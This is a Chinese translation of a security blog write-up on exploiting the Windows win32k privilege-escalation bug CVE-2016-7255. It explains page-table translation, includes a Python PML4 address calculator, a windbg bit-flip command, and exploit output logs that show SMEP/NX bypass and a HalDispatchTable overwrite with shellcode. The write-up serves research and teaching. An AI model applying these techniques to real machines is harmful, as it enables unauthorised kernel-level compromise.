2017-01-20 09:56:39
来源:ricklarabee.blogspot.com 作者:Ox9A82
阅读:409次
点赞(0)
收藏
翻译:Ox9A82
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
在Google安全团队公布了一个本地提权漏洞的细节之后,我决定研究一下这个漏洞。这个漏洞通过win32k.sys的系统调用NtSetWindowLongPtr()把索引为GWLP_ID的windows句柄由GWL_STYLE设置为WS_CHILD。
我在Twitter上找到了一个CVE-2016-7255的PoC。这个PoC演示了这个漏洞:在内核模式下,攻击者控制的地址被解引用并与0x4做逻辑或运算。
在Blackhat 2016上曾经发布过一个演示:《Windows 10 Mitigation Improvements》,它展示了系统空间的PML4条目现在已经被随机化,而不再使用静态条目0x1ed。
在Zero Nights 2016上,Enrique Nissim公布了POC和议题:《I Know Where Your Page Lives - De-Randomizing the Latest Windows 10 Kernel and for Windows 10 anniversary edition》。Enrique演示了如何确定在最新的Windows版本中已被随机化的PML4条目。
我使用了他这个PoC然后做了一些适配,可以在64位版本的Windows 7,8.1,10和Server 2012 R2上对同样的漏洞使用。
我做的一些改变如下:
1.将PML4自引用条目设置为静态条目0xFFFFF6FB7DBEDF68
2.调整shellcode以适配不同操作系统版本中的偏移量
3.给不同的操作系统设置了不同的覆盖(overwrite)目标
4.Win7 工作站 - 使用通用Hal Dispatch Table以及调用NtQueryIntervalProfile函数
5.Win8.1 工作站 - 使用HalpApicRequestInterrupt指针
6.Win 10 工作站(周年更新之前) - 使用HalpApicRequestInterrupt指针
7.Window Server 2012 R2 - 使用HalpApicRequestInterrupt指针
为了更好地理解这个漏洞和exploit的工作原理,我们需要首先看一下虚拟内存管理器是如何工作的。
虚拟内存和页表
要了解如何将虚拟地址映射到物理地址,可以参考AMD和Intel的开发者手册来了解有关映射和页表的内容。键值位(译注:key bit,指具有特殊意义的bit,如下)会被后面的代码所使用。
读/写(R/W)位。 1号位 - 如果为0,则内存不允许写
用户/管理员(U/S)位。 2号位 - 如果为0,则不允许用户模式访问(ring 3)
不可执行(NX)位。 63号位 -如果为1,则内存不允许执行代码。
跟踪一个虚拟地址到它物理地址的映射过程
为了帮助大家理解如何映射一个虚拟地址到物理地址,我这里会使用windbg来展现映射过程。我这里使用的一个小程序,它的功能是在虚拟地址0x1000000上写入“A”。虚拟地址:
虚拟地址转换到物理地址
在下面的例子中,我使用windbg作为内核调试器,然后把进程地址空间切换到用户进程的上下文中去。
!process00nameofexe.exe .process/i<addressoftheprocess> .reload/userCR3寄存器用于查找PML4表的基地址
第一步是获取cr3寄存器的值:
“rcr3”0x1fddff000这就是指向PML4表的物理地址。
使用虚拟地址的第47-39位* 8(每个地址是64位或8字节)来寻找页目录指针表的物理地址:0x1ff48867
页目录指针表(Page Directory Pointer Table,PDP)
现在使用PDP表的物理地址并将低12位(867)清零,这12个位会在页表(Page Table Entries table)中被引用。
0x1ff48000+虚拟地址的38-30位乘上8作为偏移,以找到页目录表(Page Directory Table)的物理地址,结果是0x19d90867。
页目录表(Page Directory Table)
清零11-0位,得到物理地址:0x19d90000。
0x19d90000 + 虚拟地址的29-21位* 8得到页表(page table)的物理地址:0x1f491867。
页表(Page Table)
清零第11-0位,获得物理地址0x1f491000
0x1f491000+虚拟地址的第20-12位*8获得物理页的物理地址:0x20692867
一个物理页中的偏移
清零第11-0位,得到物理地址:0x20692000
0x20692000+虚拟地址的第11-0位:0x2692000。在这种情况下,这表示一个物理页中的偏移,并且也表示该页的大小为4kb,0x0-0xfff是0-4095或是表示4kb。
windbg中的!pte命令会提供相同的信息:
!pte-windbg下面是python代码,它实现了windbg中!pte的功能,并且能够使用不同的自引用索引(这对于计算Windows 10 build 1607中的信息很有用)
#!/usr/bin/python importsys PML4_SELF_REF_INDEX=0x1ed defget_pxe_address(address): entry=PML4_SELF_REF_INDEX; result=address>>9; lower_boundary=(0xFFFF<<48)|(entry<<39); upper_boundary=((0xFFFF<<48)|(entry<<39)+0x8000000000-1)&0xFFFFFFFFFFFFFFF8; result=result|lower_boundary; result=result&upper_boundary; returnresult if(len(sys.argv)==1): print"PleaseenteravirtualaddressandPML4selfrefindexinhexformat" print"ThePML4selfrefindexisoption,thestaticidexof0x1edwillbeused" print"ifoneisnotentered" print"" printsys.argv[0]+"0x10000x1ed" sys.exit(0) address=int(sys.argv[1],16) if(len(sys.argv)>2): PML4_SELF_REF_INDEX=int(sys.argv[2],16) pt=get_pxe_address(address) pd=get_pxe_address(pt) pdpt=get_pxe_address(pd) pml4=get_pxe_address(pdpt) selfref=get_pxe_address(pml4) print"VirtualAddress:%s"%(hex(address)) print"Selfreferenceindex:%s"%(hex(PML4_SELF_REF_INDEX)) print"\n" print"PageTables" print"SelfRef:\t%s"%(hex(selfref)) print"Pml4:\t\t%s"%(hex(pml4)) print"Pdpt:\t\t%s"%(hex(pdpt)) print"Pd:\t\t%s"%(hex(pd)) print"PT:\t\t%s"%(hex(pt))使用示例:
./pagetables.py0x00x1ed VirtualAddress:0x0 Selfreferenceindex:0x1ed PageTables SelfRef:0xfffff6fb7dbedf68L Pml4:0xfffff6fb7dbed000L Pdpt:0xfffff6fb7da00000L Pd:0xfffff6fb40000000L Pt:0xfffff68000000000L ./pagetables.py0xfffff680000000000x1ed VirtualAddress:0xfffff68000000000L Selfreferenceindex:0x1ed PageTables SelfRef:0xfffff6fb7dbedf68L Pml4:0xfffff6fb7dbedf68L Pdpt:0xfffff6fb7dbed000L Pd:0xfffff6fb7da00000L Pt:0xfffff6fb40000000L !pte in Windows 10 1607在Windows 10 build 1607(周年版)中,windbg还不了解随机化pml4自引用地址
通过使用上面的python脚本,可以看出windbg没有考虑随机化的pml4自参考索引
./pagetables.py0x00007ff6dd800000 VirtualAddress:0x7ff6dd800000 Selfreferenceindex:0x1ed PageTables SelfRef:0xfffff6fb7dbedf68L Pml4:0xfffff6fb7dbed7f8L Pdpt:0xfffff6fb7daffed8L Pd:0xfffff6fb5ffdb760L PT:0xfffff6bffb6ec000L如上所述,漏洞(CVE-2016-7255)允许我们使用0x4对值进行异或。这可以启用对PML4e自引用地址的用户模式访问,所以在用户空间可以访问页表,这反过来允许我们读取和修改内存中的任何数据。
注意在Before部分中,第2位设置为零,由KW-V中的“K“或”kenrel”表示。在运行漏洞Exp后,以地址0xFFFFF6FB7DBEDF68为目标,值0x30FED863被翻转为0x30FED867,使得能够在用户模式访问,由UW-V中的“U“或”user”表示。
Windows 8.1
之前
之后
要在windbg中复制exploit正在进行的操作,可以使用以下命令:
r$t1=FFFFF6FB7DBEDF68;eq$t1poi($t1)|0x4创建新PT来进行读写
现在,该条目已被改为允许用户模式访问,Enrique Nissim提出了一个方法:创建新的使用物理地址和属性进行更新的页表,从而实现读、写任意内存地址。
在这个例子中,地址0xffffffffffd00510只能从内核模式访问,这是由每个条目的第0x63(位7-0:“01100011”,注意第2个位为0)决定的。通过使用Enrique的代码,我们可以创建一个页表,来从用户模式“0x67”(位7-0:“01100111”,通知位2现在是1)访问,并指向与内核只有内存:0x1163或在这种情况下为0x1000(记住清零位11-0)。
之前
之后
漏洞Exp的输出
这是来自在Windows 7上运行的Exp的输出。
创建一个页表,允许读取haldispatchtable+0x8的值。
创建一个页表,允许将shellcode写入内核态内存,绕过SMEP和SMAP,并删除页表上的NX位以允许代码执行。
创建一个页表,允许覆盖haldispatchtable+0x8,这将触发代码执行。
读取将被替换的原始值(haldispatchtable+0x8)
On a Windows 7 box:
[*]GettingOverwritepointer:fffff80002c42c60 [+]SelectedspuriousPML4E:fffff6fb7dbedf00 [+]SpuriousPT:fffff6fb7dbe0000 -------------------------------------------------- [+]Contentpml4efffff6fb7dbedf80:199063 [+]PatchingtheSpuriousOffset(PML4e)fffff6fb7dbedf00:199067 [+]Contentpdptefffff6fb7dbf0000:198063 [+]PatchingtheSpuriousOffset(PDPTE)fffff6fb7dbedf00:198067 [+]Contentpdpefffff6fb7e0000b0:1dc063 [+]PatchingtheSpuriousOffset(PDE)fffff6fb7dbedf00:1dc067 [+]Contentptefffff6fc00016210:8000000002c42963 [+]PatchingtheSpuriousOffset(PTE)fffff6fb7dbedf00:2c42967 OverwriteAddress:fffff6fb7dbe0c60写入shellcode和删除NX位的输出:
OriginalOverwriteTargetpointer:fffff80002a438e8 [+]SelectedspuriousPML4E:fffff6fb7dbedf08 [+]SpuriousPT:fffff6fb7dbe1000 -------------------------------------------------- [+]Contentpml4efffff6fb7dbedff8:1ec063 [+]PatchingtheSpuriousOffset(PML4e)fffff6fb7dbedf08:1ec067 [+]Contentpdptefffff6fb7dbffff8:1eb063 [+]PatchingtheSpuriousOffset(PDPTE)fffff6fb7dbedf08:1eb067 [+]Contentpdpefffff6fb7ffffff0:1ea063 [+]PatchingtheSpuriousOffset(PDE)fffff6fb7dbedf08:1ea067 [+]Contentptefffff6ffffffe800:100163 ***PatchingtheoriginallocationtoenableNX... [+]PatchingtheSpuriousOffset(PTE)fffff6fb7dbedf08:100167 HALaddress:fffff6fb7dbe1000 [+]w00t:Shellcodestoredat:ffffffffffd00d50覆盖exec目标的输出:
[+]SelectedspuriousPML4E:fffff6fb7dbedf10 [+]SpuriousPT:fffff6fb7dbe2000 -------------------------------------------------- [+]Contentpml4efffff6fb7dbedf80:199063 [+]PatchingtheSpuriousOffset(PML4e)fffff6fb7dbedf10:199067 [+]Contentpdptefffff6fb7dbf0000:198063 [+]PatchingtheSpuriousOffset(PDPTE)fffff6fb7dbedf10:198067 [+]Contentpdpefffff6fb7e0000b0:1dc063 [+]PatchingtheSpuriousOffset(PDE)fffff6fb7dbedf10:1dc067 [+]Contentptefffff6fc00016210:8000000002c42963 [+]PatchingtheSpuriousOffset(PTE)fffff6fb7dbedf10:2c42967 PatchOverwriteTarget:fffff6fb7dbe2c68withffffffffffd00d50MS16-135
Microsoft于2016年11月8日发布了补丁MS16-135,以解决此漏洞。 McAfee有一个篇很好的文章讲述了如何修复此漏洞。开发示范
Windows 7 SP1 Workstation
Windows 8.1 Workstation
Windows 10 Build 1511 Workstation
Windows 2012 R2 Server
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html